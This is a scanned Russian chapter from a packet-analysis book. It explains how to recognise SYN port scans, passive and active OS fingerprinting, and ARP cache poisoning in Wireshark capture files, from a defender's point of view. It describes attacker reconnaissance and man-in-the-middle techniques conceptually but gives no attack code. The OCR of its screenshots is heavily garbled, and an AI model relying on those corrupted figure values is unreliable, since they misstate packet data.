НА БЕЗОПАСНОСТЬ 

Большая часть этой книги посвящена проведению ана

лиза пакетов для диагностики сети. Тем не менее анализ 

пакетов проводится в немалой степени и в целях безопас

ности. Например, аналитик, исследующий незаконное втор

жение в систему, может просмотреть сетевой трафик, исходящий от потен

циальных нарушителей, а следователь-криминалист - попытаться выяснить, 

в какой степени бьш заражен зловредным программным обеспечением взло

манный хост. 

Проведение анализа пакетов в ходе расследования случаев нарушения без

опасности всегда считалось непростым делом, поскольку оно включает в себя 

неизвестный элемент устройства, которое подвергается атаке злоумышлен

ника. В самом деле, нельзя же добраться до рабочего места атакующего злоу

мышленника и подвергнуть его допросу или сравнить его обычный трафик с 

исходным. Вместо этого приходится иметь дело с перехваченным образцом 

взаимодействия своей и чужой системы. Правда, для удаленного вторжения в 

чужие системы злоумышленникам придется так или иначе взаимодействовать 

с сетью. И это им хорошо известно, поэтому у них нет недостатка в приемах 

маскирования своей вредоносной деятельности. 



переадресацию вредоносного трафика и самые распространенные методики 

внедрения вредоносного кода. В некоторых случаях будет проведен анализ не

законного вторжения в систему для интерпретации сетевого трафика на осно

вании предупреждений от системы обнаружения вторжений. Проработав ма

териал этой главы, вы получите ясное представление о сетевой безопасности, 

что может оказаться для вас очень важным, даже если вы и не занимаетесь в 

настоящий момент вопросами безопасности. 

Обследование сети 
Злоумышленник первым делом выполняет углубленное обследование целе

вой системы. Эта стадия обычно называется получением отпечатка (footpriпtiпg) 

и нередко осуществляется с помощью различных общедоступных ресурсов, 

включая веб-сайт целевой системы или компании Google. По окончании по
добного обследования злоумышленник, как правило, приступает к сканирова

нию целевой системы по ее IР-адресу (или DNS-имени) на наличие в ней от

крытых портов или действующих служб. 

Сканирование дает злоумышленнику возможность выяснить, активна и 

доступна ли целевая система. Рассмотрим в качестве примера сценарий, где 

преступники собираются ограбить самый крупный банк в каком-нибудь горо

де. Потратив не одну неделю на тщательную проработку плана ограбления и 

прибыв на место преступления, они в конечном итоге обнаружили, что банк 

переехал на другую улицу. Представьте еще более скверную ситуацию, когда 

преступники собирались ограбить банк в обычные часы его работы, украв 

ценности из банковского хранилища, но, прибыв на место преступления, об

наружили, что банк в этот день закрыт. Таким образом, первое препятствие, 

которое придется преодолеть при ограблении банка или совершении атаки 

на сеть, - убедиться, что целевой хост активен и доступен. 

Кроме того, сканирование сети позволяет злоумышленнику выяснить, че

рез какие порты целевая система взаимодействует с сетью. Если снова обра

титься к аналогии ограбления банка, то нетрудно представить, что произой

дет, если преступники заявятся в банк, совершенно не зная планировку его по

мещения. Им не удастся добраться до банковского хранилища, не зная слабых 

мест в физической защите банка. В этом разделе будут рассмотрены самые 

распространенные методики сканирования сети, применяемые для выявле

ния хостов, их открытых портов и уязвимостей в сети. 

leipЩl@iiiiiii До сих пор в этой книге передающая и принимающая сторон·ы сетевого 

соединения. назъtвались клиентом и с.ервером. А в этой главе эти сторо

ны назъtваются злоумъ~шленником и цмевъtм хостом соответственно. 
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Сканирование пакетами SYN 

Файл перехвата Зачастую первым видом обследования целевой системы яв

synscan. pcapng ляется сканирование пакетами SYN по протоколу ТСР, иначе на-

зываемое скръ~тым сканированием или же сканированием полу

открытых соединений. Сканирование пакетами SYN считается самым распро
страненным по ряду следующих причин. 

• Проводится очень быстро и надежно. 

• Пригодно для всех платформ независимо от реализации стека протоко

лов ТСР /IP. 

• Вносит меньше помех, чем другие методики сканирования. 

В основу сканирования пакетами SYN положен трехэтапный процесс уста
новки связи по протоколу ТСР, что позволяет выяснить, какие именно порты 

открыты на целевом хаете. В этом случае злоумышленник посылает пакет SYN 
по протоколу ТСР на определенный ряд портов целевого хоста, как будто бы 

пытаясь установить с ним канал для обычного обмена данными через его пор

ты. Как только этот пакет будет получен целевым хостом, может произойти 

одно из нескольких событий, как показано на рис. 12.1. 

-------SYN -------

------- SYN/ACK ------

------ SYN/ACK ------

------- SYN/ACK ------
Злоумышленник 

-------SYN -------

-------RST-------
Злоумышленник 

-------SYN -------

Злоумышленник 

Целевой хост 

Открытый порт 80 

Целевой хост 

Закрытый порт 80 

Целевой хост 

Порт 80 под фильтром 

Рис. 12. 1. Возможные результаты сканирования пакетами SYN по протоколу ТСР 
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Если служба на целевой машине прослушивает сеть через порт, принима

ющий пакет SYN, она ответит злоумышленнику пакетом SYN/ACK по протоколу 

ТСР, обычно отправляемом на втором этапе процесса установки связи по это

му протоколу. В итоге злоумышленнику становится известно, что порт открыт 

и служба прослушивает сеть через него. При обычных обстоятельствах окон

чательный пакет АСК должен быть отправлен по протоколу ТСР с целью завер

шить процесс установки связи. Но в данном случае злоумышленнику совсем 

не нужно, чтобы это произошло, поскольку ему не требуется больше связь с 

хостом в данный момент. Следовательно, злоумышленник не будет пытаться 

завершить процесс установки связи по протоколу ТСР. 

Если же ни одна из служб не прослушивает сеть через сканируемый порт, 

злоумышленник не получит пакет SYN/ACК. Но он может получить в ответ па

кет RST, указывающий на то, что порт закрыт, хотя это зависит от конкрет

ной конфигурации операционной системы целевого компьютера. С одной 

стороны, злоумышленник может вообще не получить ничего в ответ. Отсут

ствие ответа может означать, что сканируемый порт находится под фильтром 

на промежуточном устройстве, например, брандмауэре или на самом хосте. 

А с другой стороны, ответ может быть утерян при передаче. Таким образом, 

результат такого сканирования получается неоднозначным, несмотря на то, 

что он, как правило, указывает на то, что порт закрыт. 

В файле перехвата synscan. pcapng предоставляется характерный пример 
сканирования пакетами SYN, выполняемого средствами Nmap - надежно

го приложения для сканирования сети, разработанного Гордоном Лайеном 

(Gordon Lyon) по прозвищу "Федор". Оно способно выполнять практически 

любые вообразимые виды сканирования сети. Свободно загрузить приложе

ние Nmap можно по адресу http://www.nmap.com/download.html. 

В данном примере перехваченный трафик состоит приблизительно из 

2000 пакетов. Это означает, что анализируемое здесь сканирование сети про

изведено в приемлемых масштабах. Чтобы установить пределы такого ска

нирования, лучше всего просмотреть его результаты в окне Conversations, как 

показано на рис. 12.2. В этом окне должен быть показан единственный диа

лог по протоколу 1Pv4 О между злоумышленником, находящимся по адресу 
172 .16. О. 8, и целевым хостом, расположенным по адресу 64 .13 .134. 52. Кро

ме того, в окне Conversations можно увидеть, что между указанными выше хо

стами проведено 1994 диалога по протоколу ТСР О, а, по существу, для каждой 

пары портов, задействованных в обмене данными, организован новый диалог. 

Сканирование сети происходит очень быстро, и поэтому прокрутка со

держимого файла перехвата - далеко не самый лучший способ поиска отве

та на каждый первоначальный пакет SYN. Ведь прежде получения ответа на 

первоначальный пакет может быть отправлен ряд дополнительных пакетов. 



Правда, для обнаружения нужного сетевого трафика можно составить вспо

могательные фильтры. 

#- Wirtsh.rk · Con~iяl1ons · synson о х 

о f} 
~t · 1 IPY" • 1 IРУБ ТСР · 1994 !.ЮР 

~
ddr6sA Portд Addt658~krts Вytes Pкkd'sA-8 ~rsA-B P1ekmB-A ВytesB-A RёSЬrt Our•b~~~sB-A -"'-, 

~:::::~.~ ::: :~::: = : : ~ ~ : : ::::::: ~= :z: ~: l 
64.В.134. \.2 \.2848 т. 16.0.8 ЗбО1О 1 18 о о 1 58 1.82161\JOOO 0.000000 N/д N/Д 1 
64.В.134\.2 \.21148 172.16.0.8 36051 1 18 О О 1 58 1.94S599000 0.000000 N/д NIA 1 
64.13134.\.2 6Ш217216.0.8 ЗбО1О 1 18 О О 1 18 1.946839000 0.000000 N/A N/A 
64.13.134.\.2 •9Ш 172.16.D.8 ЗбО1О 1 18 О О 1 5& 2.006U8000 0.000000 N/A NIA 
64.13.134.\.2 6Ш2 172.16.D.8 36051 1 18 О О 1 58 2.о70465000 0.000000 N/A NIA ' 

! 64.В.134 . \.2 491SS 172.16.D.8 36051 1 18 О О 1 5& 2.130300000 0.000000 N/A NIA / 
,64.13.134.52 "176 172.16.D.8 ЗбО1О 1 18 S8 2.196298000 0.000000 N/A NIA 
:64.13.134 S2 •9999 1 72.16.0.З ЗбО1О 18 58 2.1964.34000 0.000000 N/A N/д 
i 64.В.134.S2 40911 172.lб.О.З 36050 18 58 USSJ75000 0.000000 N/д N/д v , 

Рис. 12.2. В окне Conversations наглядно демонстрируется разнообразие обменов 
данными по протоколу ТСР 

Использование фильтров при сканировании пакетами SYN 

В качестве примера фильтрации результатов сканирования сети рассмо

трим первый пакет из упомянутого выше файла перехвата. Это пакет SYN, 

отправленный целевому хосту через порт 443 (по протоколу HTTPS). Чтобы 
выяснить, получен ли ответ на этот пакет, можно создать фильтр для показа 

всего исходящего трафика через порт 443. Ниже поясняется, как это сделать 
очень быстро. 

1. Выберите первый пакет из файла перехвата synscan.pcapng. 

2. Разверните ТСР-заголовок этого пакета в панели Packet Details. 

3. Щелкните правой кнопкой мыши на поле Destination Port (Порт полу
чателя), выберите команду Ргераге as Filter9Selected (Подготовить как 
фильтр9Выбрать) из контекстного меню. 

4. В итоге выбранный фильтр появится в диалоговом окне фильтров всех 
пакетов, проходящих через порт 443. Щелкните в верхней части диало
гового окна фильтров и удалите часть dst из выбранного фильтра, по
скольку нам требуется получить список всех пакетов (как входящих, так 

и исходящих) по порту 443. 

Получающийся в итоге фильтр отсеет два пакета, которые являются паке

тами SYN, передаваемыми по протоколу ТСР от злоумышленника к целевому 

хосту, как показано на рис. 12.3. 



No. Tme Sou"c.e DesЬnotюn ProtDCol Iлfo 

1 е.ееееее 1?2.1ь.е.а .13 134 52 

32 6.000065 172.16.e.s 64.13.134.52 ТСР 

Рис. 12.3. Две попытки установки соединения с помощью пакетов S'fN 

le!QIИIUКJШll В этом раэделе при отображении пакетов исполъ.зуется формат врfме· 

ни Seconds Since Previous Displayed Packet ( Коли'Чество секунд, прошед

ших с момента отображения предыдущего пакета) . 

Отсугствие ответа на эти пакеты, вероятно, сви;~етельствует о том, что от

вет был отфильтрован целевым хостом или промежугочным устройством, а, 

возможно, сканируемый порт оказался закрытым . В конечном счете результат 

сканирования через порт 443 оказался неоднозначным. 

Ту же самую методику анализа можно опробовать и на другом пакете, что

бы попытаться получить иные результаты. С этой целью удалите предыдущий 

фильтр и выберите из списка пакет 9. Это пакет SYN, отправляемый в порт 

53, который обычно связан со службой DNS. Применяя описанную выше ме

тодику или внеся коррективы в предыдущий фильтр, составьте новый фильтр 

для отображения всего трафика, проходящего через порт 53 по протоколу 

ТСР. Применив этот фильтр, вы должны в итоге обнаружить пять пакетов 

(рис. 12.4). 

Рис. 12.4. Пять пакетов, указывающих на открытый порт 

Первым из них является пакет 9 типа SYN, выбранный вначале перехвачен

ного трафика. А вторым пакетом следует ответ SYN/ACK, посылаемый целевым 

хостом и вполне ожидаемый при трехэтапном процессе установки связи по 

протоколу ТСР. При нормальных обстоятельствах следующим должен быть 

пакет АСК, отправляемый хостом, пославшим первоначальный пакет SYN. Но 

в данном случае злоумышленнику совсем не нужно завершать трехэтапный 

процесс установки связи, поэтому ответ не посылается. В итоге целевой хост 

повторно передаст пакет SYN/ACK еще три раза, прежде чем процесс установ

ки связи будет аварийно завершен. А поскольку ответ SYN/ACK получен при по

пытки связаться с хостом через порт 53, то благоразумнее предположить, что 

сканируемая служба прослушивает сеть через данный порт. 

Очистите полученный результат и повторите данный процесс еще раз мя 

пакета 13. Это пакет SYN, отправляемый в порт 113, который обычно связан 

с протоколом Ident, зачастую применяемым для распознавания служб IRC и 



аутентификации в них. Если применить фильтр того же самого типа к порту, 

перечисленному в данном пакете, то в итоге появятся четыре пакета, как по

казано на рис. 12.5. 

Рис. 12.5. Пакет SYN, вслед за которым посылается пакет RST, указывающий на то, 
что порт закрыт 

Первым в данном случае следует первоначальный пакет SYN, вслед за кото

рым целевой хост сразу же отправляет пакет RST. Это свидетельствует о том, 

что целевой хост не принимает подключения через свой порт и что служба на 

нем, вероятнее всего, не запущена. 

Выявление открытых и закрытых портов 

А теперь, когда стали понятны разные типы ответов, которые способно 

выявить сканирование пакетами SYN, требуется найти какой-нибудь быстрый 

способ выявления открытых и закрытых портов. И с этой целью можно снова 

обратиться к окну Conversations, где диалоги по протоколу ТСР нетрудно отсо

ртировать по номерам пакетов, чтобы первыми следовали наибольшие значе

ния. Для этого достаточно щелкнуть на заголовке Packets, чтобы появилась 

стрелка, указывающая вниз, как показано на рис. 12.6. 

~~~~~~~~~~~~~~~~~~~~-
-------, 

х о r~ Wit~,t · ConveYtions · synscan 

1 В11ет1еt·1 ~·~ ТСР·l-
~ 

Add~sд 

т.16.0.в 

172.16.0.8 
172.16.0.8 
172.16.С.8 

172.16.0.8 
172.16.0.8 
172.16.0.8 
1П.16.О.8 

64.В.\3.t.)2 

64.\Э.134.'il 

64.13.134.SZ 

Port А Address 8 Port 8 Pкkols Вytes Pиko!s А - 8 8ytos А - 8 Pкi<o!s В - А Вytos В - А Rol Slort Our.Ьon 8rts/s А - В 811! А~ 

36050 64.Н134.52 S3 S 298 1 S8 4 240 0.001913000 21.с91ЭО2 21 '/ 

36050 64.13.134.52 80 о s 298 1 S8 4 240 0.129000000 21.272180 21 

36050 64. 13.134.$2 22 s 298 1 S8 4 240 1.403484000 21.681859 21 1 
36050 64. 13. 134 52 113 2 118 S8 бО 0.065341000 0.061491 7$4) 

36050 64.13.134.52 2S 2 118 S8 бО 1.403154000 0.D6274S 739S 

36050 64-13.134.Sl 313.17 
36061 64.13.134.SZ 113 
36050 64.13.134.52 10 

65000 1П.1б.О.8 36050 
65000 172. 1 б.О.В 360S1 
S2.848 172.16.0.8 36050 

6 2 118 S8 бО 1.756214000 0.062293 7448 
118 S8 бО 3,070317000 OJl61814 7$06 

118 
S8 
S8 
S8 

1 
о 

о 

S8 бО .W1б7SSOOO 0.061231 
S8 1.690937000 0.000000 
S8 1.820296000 0.000000 
S8 1.821670000 0.000000 

JSТI 

N/A 
N/д 

N!A 

ON<mer""'"'°"' 

Рис. 12.6. Выявление открытых портов в окне Conversations 

В каждом диалоге через три сканируемых порта проходят по пять па

кетов О. Известно, что порты 53, 80 и 22 открыты, поскольку эти пять па

кетов представляют следующую последовательность установления связи: 
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первоначальный пакет SYN, соответствующий ему пакет SYN/ACK, а также три 

пакета SYN/ACK, повторно передаваемых целевым хостом. 

Из пяти портов только два пакета были вовлечены в обмен данными 8. 
Первым из них является первоначальный пакет SYN, а вторым - пакет RST, от

правляемый целевым хостом. Эти пакеты указывают на то, что порты 113, 25, 
31337 и 70 закрыты. 

Остальные записи, отображаемые в окне Conversations, включают в себя 
только один пакет. Это означает, что целевой хост вообще не ответил на пер

воначальный пакет SYN. А оставшиеся порты, скорее всего, закрыты, но в 

этом нет никакой уверенности. 

Рассматриваемая здесь методика подсчета пакетов вполне подошла для 

сканирования данного хоста, хотя она пригодна не для всех сканируемых хо

стов, а следовательно, полагаться только на них не стоит. Вместо этого особое 

внимание следует уделить изучению внешнего вида и возможного назначения 

обычных и необычных реакций на обычные стимулы. 

Получение отпечатка операционной системы 

Злоумышленник придает большое значение сведениям о целевой операци

онной системе. Эти сведения помогают ему правильно настроить все свои ме

тоды атаки на данную систему, а также позволяют выяснить местоположение 

определенных критически важных файлов и каталогов в целевой файловой 

системе, если, конечно, ему удастся получить доступ к ней. 

Получение отпечатка операциоинай системы ( operating systeт fiпgerpriпtiпg) обо
значает группу методик, применяемых с целью определить операционную 

систему, работающую в целевой системе без физического доступа к данной 

системе. Имеются два способа получения отпечатка операционной системы: 

пассивный и активный. 

Пассивное получение отпечатка операционной системы 

Используя методику пассивного получения отпечат-Файл перехвата passi veos
finqerprintinq. pcapnq ка, можно исследовать определенные поля в па

кетах, отправленных целевым хостом, чтобы 

определить применяемую в нем операционную систему. Такой способ счита-

ется пассивным, поскольку в этом случае вы принимаете только те пакеты, ко

торые отправляет целевой хост, но сами активно не посылаете этому хосту 

никаких пакетов. Такой способ получения отпечатка операционной системы 

идеально подходит для злоумышленников, поскольку он дает им возможность 

действовать скрытно. 



Так как же определить, какая именно операционная система работает на 

целевом хаете, исходя только из пакетов, которые он отправляет? Это воз

можно благодаря отсутствию стандартизированных значений в спецификаци

ях, определенных в документах RFC на сетевые протоколы. Несмотря на то 
что различные поля в ТСР-, UDP- и IР-заголовках имеют специальное назна
чение, устанавливаемые по умолчанию значения, как правило, определены 

не в каждом поле. Это означает, что реализация стека протоколов ТСР /IP в 
каждой операционной системе требует определения собственных значений, 

устанавливаемых по умолчанию в этих полях. В табл. 12.1 перечислены наи

более употребительные поля и устанавливаемые в них значения, которые мо

гут быть связаны с различными операционными системами. Следует, однако, 

иметь в виду, что эти значения могут быть изменены в новых выпусках опера

ционных систем. 

Таблица 12.1. Поля заrоловков и их значения, используемые 
при пассивном получении отпечатка операционной системы 

Заrоловок Поле 
протокола 

IP 

IP 

ТСР 

Ini tial time to li ve 
(Первоначальное время 

жизни) 

Don' t fragment 
(Не фрагментировать) 

Мaximum segment size 
(Максимальный размер 

сегмента) 

Значение по 
умолчанию 

64 

128 

255 

Флаг установлен 

Флаг сброшен 

о 

1440-1460 

1460 

ТСР Window size {Размер окна) 1024-4096 

65535 

Переменное 

16384 

4128 

24820 

Переменное 

Платформа 

NMap, BSD, OS Х, linux 

Novell, Windows 

Cisco IOS, Palm OS, Solaris 

BSD, OS Х, linux, Novell, 
Windows, Palm OS, Solaris 

Nmap, Cisco IOS 

Nmap 

Windows, Novell 

BSD, OS Х, linux, Solaris 

Nmap 

BSD, OS Х 

linux 

Novell 

Cisco IOS 

Solaris 

Windows 

ТСР SackOK (Выборочное Флаг установлен linux, Windows, OS Х, OpenBSD 
подтверждение разрешено) 

Флаг сброшен Nmap, FreeBSD, Novell, Cisco 
IOS, Solaris 



Пакеты, содержащиеся в файле перехвата passiveosfingerprinting. 
pcapng, служат характерными примерами данной методики. В этом файле 

содержатся два пакета. Оба пакета относятся к типу SYN и отправляются по 

протоколу ТСР в порт 80, но они исходят из разных хостов. Используя только 
значения, содержащиеся в этих пакетах и обращаясь за справкой к табл. 12.1, 

можно определить архитектуру операционной системы , применяемой на ка· 

ждом хосте. Подробные сведения о каждом пакете приведены на рис. 12.7 . 

• Wirtsl,..lc · Pack:<t 1 · possiveosfing~rintong о 

Fraм 1: 62 bytes on w1re (496 Ыts), 62 bytes captured (496 Ыts) on 1nterface е 
Ethernet II, Src: V.WaN:_f9:74:d8 (ee:9c:29:f9:74:d8), Ost: O-Link_21:99:4c (00:9S:Sd:21:99:4C) 

v Internet Protocol Version 4, Src: 172.16.16. 134, Ost: 168.143.162.180 
9180 . . . • • Version: 4 

.... 9191 • Неоdег Length : 29 bytes 
Differentiated Seгvices Field: 9х00 (OSCP: CS9, ECN: Not-ECT) 
Totitl Length: 48 

Identificittion: 0x4d89 (19849) 

Fla3s: llx&2 (Don't Fra~nt) 
Frapnt off set: 11 
Tille to live: 128 
Protocol: ТСР (6) 
Нeader checksum: exasbd [validetion disaЬled] 
Souгce: 172..16.16.134 
Destination: 168.143 .162 .100 

~stination Port: 
[Streм index: 11] 
[ТСР Sepent Len: 11] 
Sequence nшaber: 2123482839 
Acknowledpent nu..Ь.,r: в 
Нeader Length: 28 bytes 

21234а211311 L n: О 

х 

la s: 9"962 SYI{----------------------~~----------
Window size v1lue: 64248 
[Calculated window size: 642.4&) 
Checksum: 0х36711 (v1lidation disaЫed] 
Uгgent pointer: 11 

v Options: (8 bytes), llax1- sepent size, No·OpeгAtion (NOP), No-Operation (NOP), SACK P"raitted 
> М..xi•UIO sepent size: 1448 bytes 

No -Operation (NOP) 
> No·Operation (NOP) 
> ТСР SACK Permitted Option: True 

Л'о.1 1 • Т--~ ·-., J72.J6.J&J.J4 • - J68.UJ./6l.JIXI • 6l • 1• 1V6 - tю {SYN} s.q.ц/]Jq18J() 14<--Ut>·D ;.f$$aJфtf)SACК_Pf!ll 

CloS<! 



~ Jl.I 1re:shark Packe~ 2 pas~i eosf1nge:rpпn 1ng о 

Frame 2: 62 bytes on wire (496 bits), 62 bytes captured (496 Ыts) on interface 0 

Etheгnet II, Src: V-are_f9:74:d8 (00:0c:29:f9:74:d8), Dst: 0-Link_21:99:4c (00:05:5d:21:99:4c) 

Internet Protocol Version 4, Src: 172.16.16.134, Dst: 168.143.162.100 

0100 . . . . • Version: 4 
. .. . 0101 • Header Length: 20 bytes 

Diffeгentiated Services Field: 0х00 (DSCP: CS0, ECN: Not-ECT) 

Total Length: 48 
Identification: Elx4d80 (19840) 

> Flags: 0х02 (Don 't Fragroent) 

Fragment off set: 0 
тu.е to live: 64 
Protocol: ТСР (6) 

Header checksu11: 0xe5bd [validation disaЫed) 

Source: 172.16.16.134 
Destination: 168.143.162.100 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 

v Trans11ission Control Protocol, Src Port: 1176 (1176), Dst Por-t: 80 (80), Seq: 2UЗ482ВЭ0, Len: 0 

Souгce Port: 1176 

Destination Port: 80 
[stгeam index: 0) 
[ТСР Segment len: 0) 
Sequence nu11ber: 2123482830 
Acknowledl!Jlent nu11Ьег: 0 
Нeader length: 28 bytes 

) JF1aa<• м~ (SY.IO 

Window size value: 2920 

[Colculated window size: 2920) 

, Checksum: 0x2SeS [validation disaЫed] 

Urgent pointer: 0 
v Options: (8 bytes), МaximU111 segnient size, No-Opeгation (NOP), No-Opeгation (NOP), SACK pen11itted 

Мaxillu11 segment size: 1460 bytes 

No-Opeгation (NOP) 
> No-Operation (NOP) 
} ТСР SACK Permitted Option: Тгuе 

[SEQ/ACK analysis] 

Nc.: Z • Тiто: D.IXXIJIJt1·SCutu_.17.l.16.16.1.N • °"""'""""1168.J6.J62.100 ·_Our.cf-Orr!г-] 1116 - llD (5YNJ ~.l12J48<8JD Иft>:.19.>0 Un-=D NSS..J№J S.AQ(.PE. 

e1ose JI н~ _j 

Рис. 12.7. По приведенным здесь пакетам можно узнать, из какой операционной 
системы они были присланы 

Используя табл. 12.1 в качестве справки, можно составить табл. 12.2, где 

сведены соответствующие поля из этих пакетов. Основываясь на этих значе

ниях, можно прийти к выводу, что пакет 1 был, вероятнее всего, отправлен 

устройством, работающим под управлением ОС Wiпdows, а пакет 2 - устрой

ством, работающим под управлением Liпux . 

Следует, однако, иметь в виду, что перечень полей, наиболее употреби

тельных при получении отпечатка операционной системы и приведенных 

в табл. 12.2, нельзя считать исчерпывающим. Хотя методика применения 

этих полей может иметь немало неожиданных уверток, способных приве

сти к заметным отклонениям от предполагаемых значений. Следовательно, 
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полностью полагаться на результаты получения пассивного отпечатка опера

ционной системы нельзя. 

Таблица 12.2. Сводка полей из пакетов, используемых при получении 
отпечатка операционной системы 

Заrоловок Поле Значение из пакета 1 Значение из пакета 2 
протокола 

IP Ini tial ti.m.e to li ve 128 64 

IP Don' t fragment Флаг установлен Флаг установлен 

ТСР Мaximum segment size 1440 байт 1460 байт 

ТСР Windowsize 64240 байт 2920 байт 

ТСР SackOK Флаг установлен Флаг установлен 

le!QШ!pMШll Зачастую ЗЛО'JМЫш.ленники используют автоматизированные инстру

менталъные средства для пассивного въ1.явления типа операционной 

системы на целевом хосте. К числу таких средств, в котарых приме

w~ются способы получения отпечатков операц,ионных систем, отно

сится pOJ Это инструменталъное средство позволяет анализироватъ 
соответствующие поля в перехваченных пакетах и выводитъ сведения 

о предполага,емом типе операционной системы. Применяя инструмен

талънъtе средства вроде pOJ, можно получитъ сведения не толъко об аjJ
хитектуре операционной системы, но иногда даже ее версию или уровень 

установки пакетов обновлений. Инструменталъное средство pOJ можно 
загрузитъ по адресуhttp://lcamtuf.coredump.cx/pOf .shtml. 

Активное получение отпечатков операционных систем 

Файл перехвата activeos

fingerprinting .pcapng 

Если пассивный текущий контроль сетевого тра

фика не приносит желаемых результатов, можно 

опробовать более прямой способ - активное полу

чение отпечатков операционных систем. В этом случае злоумышленник активно 

посылает специально составленные пакеты целевому хосту, чтобы выявить 

ответы, позволяющие выяснить тип операционной системы на целевой ма

шине. Безусловно, это не особенно скрытный, хотя и весьма эффективный 

способ, поскольку он подразумевает установление непосредственной связи с 

целевым хостом. 

Пакеты, содержащиеся в файле перехвата activeosfingerprinting .pcapng, 

служат характерными примерами методики активного получения отпечатков 

операционных систем, инициируемых утилитой сканирования Nшар. В этом 

файле несколько пакетов получены в ответ на отправку утилитой Nrnap ряда 
зондирующих пакетов с целью выявить в ответных пакетах характерную ин

формацию, по которой можно будет идентифицировать тип операционной 



системы целевого хоста. Утилита Nmap зафиксировала ответы на эти зонди
рующие пакеты и создала активный отпечаток операционной системы, кото

рый затем сравнила с информацией, хранящейся в базе данных для принятия 

решения. 

le!QЩ\iЩЩ!i Методики, применяемые в Nтар для активного получения отпечатка 

операционной системы, доволъно сложные. Чтобъt узнатъ болъше, каким 

образом в Nтар въtnолняется активное получение отпечатка операци

онной системы, обратитесъ за справкой к руководству по Nтар под на

званием Nтар Network Sсаппiпg, опубликованному в 2011 году его авта

ром, Гордоном Лайеном по прозвищу "Федор". 

Манипулирование сетевым трафиком 
Одна из самых главных идей, которые я попытался раскрыть в этой книге, 

заключается в том, что, анализируя подходящие пакеты, можно узнать нема

ло о системе и ее пользователях. Следовательно, нет ничего удивительного в 

том, что злоумышленники нередко ищут возможность перехватить такие па

кеты самостоятельно. Анализируя пакеты, сформированные системой, злоу

мышленник может узнать о типе операционной системы, применяемых в ней 

приложениях, учетных записях пользователей и много другой полезной для 

себя информации. 

В этом разделе будут рассмотрены две методики, применяемые на уровне 

пакетов. С их помощью злоумышленник может воспользоваться заражени

ем АRР-кеша для перехвата и фиксации целевого трафика или перехватом 

сооkiеs-файлов протокола НТТР, с помощью которых можно проводить атаки 

по перехвату и подмене сеансов связи. 

Заражение АRР-кеша 

Файл перехвата 

arppoison.pcapng 

Как обсуждалось в главе 7, "Протоколы сетевого уровня", 
протокол ARP служит для преобразования IР-адресов 
устройств в МАС-адреса в сети, а в главе 2, "Подключение 

к сети", пояснялось, как воспользоваться методикой заражения АRР-кеша для 

подключения к сети и перехвата сетевого трафика, исходящего из тех хостов, 

пакеты которых требуется проанализировать. Если заражение АRР-кеша при

меняется в благих целях, оно оказывает немалую помощь в диагностике сети. 

Но если эта методика употребляется со злым умыслом, то она превращается в 

летальную форму атаки через посредника (MITM), иначе называемой атакой 
типа '"человек посредине". 

Совершая атаку через посредника, злоумышленник переадресует сетевой 

трафик между двумя хостами, чтобы перехватить или видоизменить пере-
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даваемые данные. Имеется немало форм атак через посредника, включая 

подмену доменного имени и SSL-перехват. При заражении АRР-кеша состав

ленные особым образом пакеты ARP вынуждают оба хоста действовать так, 
как будто они связаны друг с другом непосредственно, тогда как на самом деле 

они обмениваются данным через стороннего посредника, пересылающего им 

пакеты. Такое противозаконное применение обычных функциональных воз

можностей протокола ARP может делаться со злым умыслом. 
Файл перехвата arppoison.pcapng содержит пример заражения АRР-кеша. 

Открыв этот файл, вы обнаружите, что перехваченный в нем сетевой трафик 

выглядит на первый взгляд нормально. Но если проанализировать пакеты из 

этого трафика, то можно заметить, что целевой хост, находящийся по адресу 

172 .16. О .107, обращается к веб-ресурсу компании Google для выполнения по
иска. В результате этого поиска появляется значительный трафик по протоко

лу НТТР, сочетающийся с некоторыми DNS-запросами. 

Как известно, методика заражения АRР-кеша действует на втором уровне 

модели OSI, и если случайно бросить лишь беглый взгляд на пакеты в панели 
Packet List, то вряд ли удастся обнаружить какое-нибудь мошенничество. Поэ

тому в качестве вспомогателыюй меры необходимо добавить пару столбцов в 

панели Packet List, выполнив следующие действия. 

1. Выберите команду EditQPreferences из главного меню. 

2. Щелкните на элементе Columns, который находится у левого края от

крывшегося окна Preferences. 

3. Щелкните на кнопке со знаком "плюс" ( +), чтобы добавить новый столбец. 

4. Введите Source МАС (МАС-адрес источника) в области Title (Заголовок) и 

нажмите клавишу <Enter>. 

5. Выберите вариант Hw src addr (resolved) (Аппаратный адрес отправителя 
(преобразованный)) из раскрывающегося списка Туре. 

б. Щелкните на вновь введенном столбце и перетащите его, расположив 

сразу после столбца Source. 

7. Щелкните на кнопке со знаком "плюс"(+), чтобы добавить еще один но
вый столбец. 

8. Введите Dest МАС (МАС-адрес места назначения) в области Title и нажми

те клавишу <Eпter>. 

9. Выберите вариант Hw dest addr (resolved) (Аппаратный адрес получателя 
(преобразованный)) из раскрывающегося списка Туре. 

10. Щелкните на вновь введенном столбце и перетащите его, расположив 
сразу после столбца Destination. 

11. Щелкните на кнопке ОК, чтобы применить внесенные изменения. 
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Выполнив описанные выше действия, вы должны увидеть на экране то же 

самое, что и на рис. 12.8. Теперь в вашем распоряжении должны быть два до
полнительных столбца, где отображаются МАС-адреса отправителя и получа

теля из анализируемых пакетов . 

• Wiresharlc · Preferences 

v Appe.arance 

Layout 

Columns 
Font and Colors 

Capture 
fi~er Expressions 
Name Resolution 

Protocols 
Statistics 
Advanced 

> 

Disployed 

0 
0 
0 
0 
0 
0 
0 
0 

т -1 

Т-rtle Туре 

No. Number 
Тime Тime (format as specifi~) 
Source Source address 
Source МАС Нw src addr (rosolved) 

Dest:ination Dfitination address 

Dest МАС Нw dest addr (resolved) 

Protocol Protocol 

lnfo lnformation 

х 

Field Name Fiekf Occurrence 

ок 

Рис. 12.8. Экран конфигурирования столбцов с двумя вновь введенными 
столбцами аппаратных адресов отправителя и получателя 

Если у вас по-прежнему активизирован режим преобразования МАС-адре

сов, вы должны увидеть, что обменивающиеся данными устройства обладают 

МАС-адресами, обозначающими сетевое оборудование компаний Dell и Cisco. 

Эти сведения очень важно запомнить, поскольку, прокрутив дальше список 

перехваченных пакетов, можно заметить, что они изменяются в пакете 54, 
где происходит необычный трафик по протоколу ARP между хостом с обору
дованием компании Dell (целевым хостом) и вновь внедренным хостом с обо
рудованием компании НР (злоумышленником), как показано на рис. 12.9. 

.... ...... Scuco Scua.ИAC "."."_ D@stМAC ProtDCd tnfo 

S4 4.171'5ее !iewlrttP _ьf:91:ее tWlettP _bf :91 ае ~ll_ce:S6:fe о O.ll_c&,'6,fQ ARP Who hAs 172.16.8.1&7? Tell 172.16.8.1 

